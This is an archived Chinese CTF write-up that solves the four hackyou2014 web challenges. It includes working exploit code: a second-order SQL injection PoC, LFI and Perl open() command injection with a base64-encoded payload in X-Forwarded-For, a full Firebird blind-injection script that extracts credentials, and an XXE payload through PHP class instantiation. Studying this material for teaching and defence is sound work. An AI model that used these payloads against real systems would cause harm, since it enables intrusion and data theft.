# hackyou2014 CTF web关卡通关攻略

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2014-01-21T10:57:00Z
Canonical: https://wepostx.com/topics/337

> 乌云历史资料归档
>
> **原始作者：** mickey
> **原始编号：** superkieran-wooyundrops:133
> **原始发布时间：** 2014-01-21 18:57
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

作者：Mickey,瞌睡龙
所有文件已打包可自己搭建测试：
[CTF.zip](http://static.wooyun.org/20141017/2014101711044119266.zip)

## 第一关

[http://hackyou2014tasks.ctf.su:10080/](http://hackyou2014tasks.ctf.su:10080/)
打开网页，通过看源代码发现有

```text
#!html <!-- TODO: remove index.phps -->
```
尝试访问index.phps，如图1，

![原文图片](/media/2016/06/f3b998be61c2fc0dfe02fca371cdd18c)

通过查看index.phps,发现源代码如下：

```text
#!php <?php include 'db.php'; session_start(); if (!isset($_SESSION['login'])) { $_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6); } $login = $_SESSION['login']; if (isset($_POST['submit'])) { if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id'])) die('Hacking attempt!'); $id = $_POST['id']; $vote = (int)$_POST['vote']; if ($vote > 5 || $vote < 1) $vote = 1; $q = mysql_query("INSERT INTO vote VALUES ({$id}, {$vote}, '{$login}')"); $q = mysql_query("SELECT id FROM vote WHERE user = '{$login}' GROUP BY id"); echo '<p><b>Thank you!</b> Results:</p>'; echo '<table border="1">'; echo '<tr><th>Logo</th><th>Total votes</th><th>Average</th></tr>'; while ($r = mysql_fetch_array($q)) { $arr = mysql_fetch_array(mysql_query("SELECT title FROM picture WHERE id = ".$r['id'])); echo '<tr><td>'.$arr[0].'</td>'; $arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM vote WHERE id = ".$r['id'])); echo '<td>'.$arr[0].'</td><td>'.round($arr[1],2).'</td></tr>'; } echo '</table>'; echo '<br><a href="index.php">Back</a><br>'; exit; } ?> <html> <head> <title>Picture Gallery</title> </head> <body> <p>Welcome, <?php echo $login; ?></p> <p>Help us to choose the best logo!</p> <form action="index.php" method="POST"> <table border="1" cellspacing="5"> <tr> <?php $q = mysql_query('SELECT * FROM picture'); while ($r = mysql_fetch_array($q)) { echo '<td><img src="./images/'.$r['image'].'"><div align="center">'.$r['title'].'<br><input type="radio" name="id" value="'.$r['id'].'"></div></td>'; } ?> </tr> </table> <p>Your vote: <select name="vote"> <option value="1">1</option> <option value="2">2</option> <option value="3">3</option> <option value="4">4</option> <option value="5">5</option> </select></p> <input type="submit" name="submit" value="Submit"> </form> </body> </html> <!-- TODO: remove index.phps -->
```
其中id是被is_numeric过滤后，插入到vote表里的，可以用十六进制或者二进制绕过is_numeric,把注入查询语句插入到vote表里，然后又从vote表里取出，形成二次注入。
POC如下：

```text
#!python #!/usr/bin/env python import requests import binascii import sys def hack(inject): vul={'id':inject,'vote':3,'submit':1} req=requests.post('http://hackyou2014tasks.ctf.su:10080/index.php',data=vul) print req.content if __name__=="__main__": hack("0x" + binascii.hexlify(sys.argv[1]))
```
效果图如2

![原文图片](/media/2016/06/ab5a63d52d8f83fa2228fe532709eb75)

## 第二关

[http://hackyou2014tasks.ctf.su:20080/](http://hackyou2014tasks.ctf.su:20080/)
这关打开后是个贪吃蛇游戏，只有注册用户才能保存结果，我们注册一个用户babybox，玩完游戏后访问后台，发现有个ip参数值得注意，尝试提交

```text
http://hackyou2014tasks.ctf.su:20080/cgi-bin/index.pl?ip=../../../../../../var/www/cgi-bin/index.pl
```
发现有LFI，如图3

![原文图片](/media/2016/06/9879d6ba5f810b7a26840a02ff5f5dcb)

通过读取到的index.pl源码可以发现，

```text
#!perl $login = $session->param('login'); print $req->p('Hello, '.$login.'!'); if ($req->param('ip')) { $file = './data/'.MD5($login)."/".$req->param('ip'); if (-e $file) { open FILE, $file; $html = ''; while (<FILE>) { $html .= $_; } close(FILE); print $req->start_table({border=>1}); print $req->Tr($req->th(['Date', 'Score'])); print $html; print $req->end_table(); print $req->a({href=>'index.pl'}, 'Back'); } else { print $req->h1('Error'); } }
```
其中的open函数，可以导致命令执行，下载火狐的X-Forwarded-For Header插件，设置X-Forwarded-For为|pwd|，然后玩游戏，进后台看成绩，提交

```text
http://hackyou2014tasks.ctf.su:20080/cgi-bin/index.pl?ip=|pwd|
```
发现命令注入成功了。由于这里不能使用/和\字符，我们可以使用base64编码下，如图4
这之前需要在提交成绩的时候X-Forwarded-For改为

```text
|`echo bHMgLw== | base64 -d`|
```

![原文图片](/media/2016/06/a3394140f5d75d4132add80946c90bb8)

## 第三关

[http://hackyou2014tasks.ctf.su:30080/](http://hackyou2014tasks.ctf.su:30080/)
这关可分为两部分

```text
1、找到隐藏的管理后台 2、盲注获取权限
```
找到隐藏的管理后台需要利用windows平台上的一个技巧，具体的研究测试报告可以看这里：
[Windows+PHP bug realted with findfirstfile](http://onsec.ru/onsec.whitepaper-02.eng.pdf)
php的某些函数获取文件时，可以使用<代替其他字符进行猜解。

```text
p<<
```
表示

```text
p*
```
include_once函数包含文件将会返回以p开头的第一个文件，这里返回了phpinfo()的信息。
可以知道后台的数据库是firebird，如图5，

![原文图片](/media/2016/06/8afe2699a989d7063a1a67dfb41c303d)

然后猜解后台目录：

```text
http://hackyou2014tasks.ctf.su:30080/index.php?page=0<< http://hackyou2014tasks.ctf.su:30080/index.php?page=0a<<
```
根据页面返回当中是否有

```text
Page does not exists
```
字符串，来判断猜解的字符串是否正确。
然后用burpsuite去猜测剩余的字符，全部猜测成功后，发现

```text
http://hackyou2014tasks.ctf.su:30080/0a5d2eb35b90e338ed481893af7a6d78/index.php
```
是个后台登陆口，没有账号，继续翻前台，发现

```text
http://hackyou2014tasks.ctf.su:30080/index.php?page=shop&order=cost
```
有注入

```text
http://hackyou2014tasks.ctf.su:30080/index.php?page=shop&order=cost ASC
```
其实看到order参数，就很容易猜测可能是order by语句后的注入 :)
针对这个场景，firebird数据库，可控语句在order by之后，只能采取盲注：
已有人写好跑数据的perl脚本：

```text
#!perl use LWP::Simple; #username:password #admin:9shS3FAk # extract columns from USERS $url="http://hackyou2014tasks.ctf.su:30080/index.php?page=shop&order="; $fst="case when(1=(select first 1 1 from rdb\$relation_fields where lower(RDB\$RELATION_NAME)=ascii_char(117)||ascii_char(115)||ascii_char(101)||ascii_char(114)||ascii_char(115) and lower(rdb\$field_name) LIKE "; $snd="||ascii_char(37) )) then (select first 1 1 from rdb\$relations) else (select first 2 1 from rdb\$relations) end"; $b=0; # LOGIN column part for($j=0;$j<100;$j++){ for($i=97;$i<122;$i++){ $sql=$url.$fst."ascii_char(".$i.")".$snd; #print "j: ".$j." i:".$i."\n"; $html=get $sql; if ($html=~/1337/ && $i!=37 && $i!=95){ print chr($i); $fst.="ascii_char(".$i.")||"; last; }else{ $b++; } } if($b==122-97){ last; }else{ $b=0; } } print "\n"; # PASSWD column part $fst="case when(1=(select first 1 1 from rdb\$relation_fields where lower(RDB\$RELATION_NAME)=ascii_char(117)||ascii_char(115)||ascii_char(101)||ascii_char(114)||ascii_char(115) and lower(rdb\$field_name) LIKE "; $b=0; for($j=0;$j<100;$j++){ for($i=97;$i<122;$i++){ $sql=$url.$fst."ascii_char(".$i.")".$snd; $html=get $sql; if ($html=~/1337/ && $i!=37 && $i!=95 && $i!=108){ print chr($i); $fst.="ascii_char(".$i.")||"; last; }else{ $b++; } } if($b==122-97){ last; }else{ $b=0; } } print "\n"; #extract data from USERS ( LOGIN,PASSWD) $fst="case when(1=(select first 1 1 from USERS where LOGIN LIKE "; $snd="||ascii_char(37) )) then (select first 1 1 from rdb\$relations) else (select first 2 1 from rdb\$relations) end"; for($j=0;$j<100;$j++){ for($i=65;$i<=122;$i++){ $sql=$url.$fst."ascii_char(".$i.")".$snd; #print $j." ".$i."\n"; $html=get $sql; if ($html=~/1337/ && $i!=37 && $i!=95){ print chr($i)."\n"; $fst.="ascii_char(".$i.")||"; last; }else{ $b++; } } if($b==123-65){ last; }else{ $b=0; } } print "\n"; $fst="case when(1=(select first 1 1 from USERS where PASSWD LIKE "; $snd="||ascii_char(37) )) then (select first 1 1 from rdb\$relations) else (select first 2 1 from rdb\$relations) end"; for($j=0;$j<100;$j++){ for($i=48;$i<=122;$i++){ $sql=$url.$fst."ascii_char(".$i.")".$snd; #print $j." ".$i."\n"; $html=get $sql; if ($html=~/1337/ && $i!=37 && $i!=95){ print chr($i)."\n"; $fst.="ascii_char(".$i.")||"; last; }else{ $b++; } } if($b==123-48){ last; }else{ $b=0; } } print "\n";
```
最后可以看到数据为：

```text
admin 9shS3FAk
```
到登陆页面登陆即可过关。

## 第四关

这关提供源码下载了，[http://hackyou.ctf.su/files/web400.zip](http://hackyou.ctf.su/files/web400.zip)

```text
#!php <?php include 'config.php'; include 'classes.php'; $action = (isset($_REQUEST['action'])) ? $_REQUEST['action'] : 'View'; $param = (isset($_REQUEST['param'])) ? $_REQUEST['param'] : 'index'; $page = new $action($param); echo $page; ?>
```
看这行

```text
#!php $page = new $action($param);
```
我们能实例化任意的类，并且传递$param给构造函数，我们先拿SimpleXMLElement看看效果
[http://cn2.php.net/manual/en/simplexmlelement.construct.php](http://cn2.php.net/manual/en/simplexmlelement.construct.php)
POC如下：

```text
#!python #!/usr/bin/env python import requests import sys import base64 def hack(inject): vul={'param':'<!DOCTYPE foo [<!ENTITY xxe SYSTEM "' + inject + '" >]><foo>&xxe;</foo>'} req=requests.post('http://hackyou2014tasks.ctf.su:40080/index.php?action=SimpleXMLElement',data=vul) print base64.b64decode(req.content) if __name__=="__main__": hack(sys.argv[1])
```
效果如图6:

![原文图片](/media/2016/06/ec68990d8dcbfca347d6a8b9c00253a1)

也可以用SplFileObject
[http://cn2.php.net/manual/en/splfileobject.construct.php](http://cn2.php.net/manual/en/splfileobject.construct.php)
效果图如7:

![原文图片](/media/2016/06/59d0cd8b1d47a39a8637cdda30be0bfa)

最后用GlobIterator得到结果
[http://cn2.php.net/manual/en/globiterator.construct.php](http://cn2.php.net/manual/en/globiterator.construct.php)
效果图如8:

![原文图片](/media/2016/06/1705194070ca8ef33d6ebf407c4c2b5d)

## Replies
